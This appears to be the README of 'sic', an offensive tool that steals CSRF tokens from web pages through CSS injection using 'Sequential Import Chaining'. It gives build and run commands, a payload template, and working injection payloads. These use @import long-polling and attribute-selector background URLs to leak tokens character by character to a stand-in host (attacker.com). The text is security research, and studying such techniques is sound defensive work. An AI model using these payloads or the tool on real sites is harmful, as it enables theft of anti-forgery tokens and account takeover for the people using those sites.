Typical CSS injection requires an attacker to load the context a number of times to exfiltrate sensitive tokens from a page. Usually the vector for this is via iframing which isn't always possible, especially if the target is using x-frame-options: deny or x-frame-options: sameorigin. This can be further complicated if the victim needs to interact with the target to trigger the injection (perhaps due to dynamic behavior on the page).
Sequential import chaining is a technique that enable a quicker, easier, token exfiltration even in the cases where framing isn't possible or the dynamic context is only occasionally realized.
I wrote a blog post on this. Read about it here!
This attack only works if the attacker at least one of these:
- Style tag injection (HTML injection, for example)
- Control of CSS at the top of a style tag.
The first case is probably more likely and will work even if filtered through vanilla DOM Purify.
- Install RustUp (https://rustup.rs/ -
curl https://sh.rustup.rs -sSf | sh) - Install the nightly (
rustup install nightly) - Default to nightly (
rustup default nightly) - Build with cargo (
cargo build --release)
You will find the built binary at ./target/release/sic
sic has documentation on the available flags when calling sic -h but the following is information for general usage.
-pwill set the lower port thatsicwill operate on. By default this is 3000.sicwill also listen on portport + 1(by default 3001) to circumvent a technical limitation in most browsers regarding open connection limits.--phsets the hostname that the "polling host" will operate on. This can either be the lower or higher operating port, though it's traditionally the lower port. Defaults tohttp://localhost:3000. This must be different than--ch--chsimilar to--phbut this sets the "callback host" where tokens are sent. Defaults tohttp://localhost:3001. This must be different than--ph.-tspecifies the template file used to generate the token exfiltration payloads.--charsetspecifies the set of characters that may exist in the target token. Defaults to alphanumerics (abc...890).
A standard usage of this tool may look like the following:
./sic -p 3000 --ph "http://localhost:3000" --ch "http://localhost:3001" -t my_template_file
And the HTML injection payload you might use would look like:
<style>@import url(http://localhost:3000/staging?len=32);</style>
The len parameter specifies how long the token is. This is necessary for sic to generate the appropriate number of /polling responses. If unknown, it's safe to use a value higher than the total number of chars in the token.
sic will print minimal logs whenever it receives any token information; however, if you want more detailed information advanced logging is supported through an environment variable RUST_LOG.
RUST_LOG=info ./sic -t my_template_file
The templating system is very straightforward for sic. There are two actual templates (probably better understood as 'placeholders'):
{{:token:}}- This is the current token that we're attempting to test for. This would be thexyzininput[name=csrf][value^=xyz]{...}{{:callback:}}- This is the address that you want the browser to reach out to when a token is determined. This will be the callback host (--ch). All the informationsicneeds to understand what happened client-side will be in this url.
An example template file might look like this:
input[name=csrf][value^={{:token:}}] { background: url({{:callback:}}); }
sic will automatically generate all of the payloads required for your attack and make sure it's pointing to the right callback urls.
HTTPS is not directly support via sic; however, it's possible to use a tool like nginx to set up a reverse proxy in front of sic. An example configuration is found in the example nginx config file thoughtfully crafted up by nbk_2000.
After nginx is configured, you would run sic using a command similar to the following:
./sic -p 3000 --ph "https://a.attacker.com" --ch "https://b.attacker.com" -t template_file
Note that the ports on --ph and --ch match up with the ports nginx is serving and not sic.
For a better story and additional information, please see my blog post on Sequential Import Chaining here.
The idea behind CSS injection token exfiltration is simple: You need the browser to evaluate your malicious css once, send an outbound request with the next learned token, and repeat.
Obviously the "repeat" part is normally done using a full frame reload (iframing, or tabs... blah).
However, we don't actually need to reload the frame to get the browser to reevaluate new CSS.
Sequential Import Chaining uses 3 easy steps to trick some browser into performing multiple evaluations:
- Inject an
@importrule to the staging payload - Staging payload uses
@importto begin long-polling for malicious payloads - Payloads cause browser to call out using
background-img: url(...)causing the next long-polled@importrule to be generated and returned to the browser.
Here's an example of what these might look like:
<style>@import url(http://attacker.com/staging?len=32);</style>
@import url(http://attacker.com/lp?len=0);
@import url(http://attacker.com/lp?len=1);
@import url(http://attacker.com/lp?len=2);
...
@import url(http://attacker.com/lp?len=31); // in the case of a 32 char long token
This is a unique, configurable template in sic because this part is very context specific to the vulnerable application.
input[name=xsrf][value^=a] { background: url(http://attacker.com/exfil?t=a); }
input[name=xsrf][value^=b] { background: url(http://attacker.com/exfil?t=b); }
input[name=xsrf][value^=c] { background: url(http://attacker.com/exfil?t=c); }
...
input[name=xsrf][value^=Z] { background: url(http://attacker.com/exfil?t=Z); }
After the browser calls out to http://attacker.com/exfil?t=<first char of token>, sic records the token, generate the next long-polled payload, and return a response for http://attacaker.com/lp?len=1.
input[name=xsrf][value^=sa] { background: url(http://attacker.com/exfil?t=sa); }
input[name=xsrf][value^=sb] { background: url(http://attacker.com/exfil?t=sb); }
input[name=xsrf][value^=sc] { background: url(http://attacker.com/exfil?t=sc); }
...
input[name=xsrf][value^=sZ] { background: url(http://attacker.com/exfil?t=sZ); }
This repeats until no more long-polled connections are open.
Shoutout to the following hackers for help in one way or another.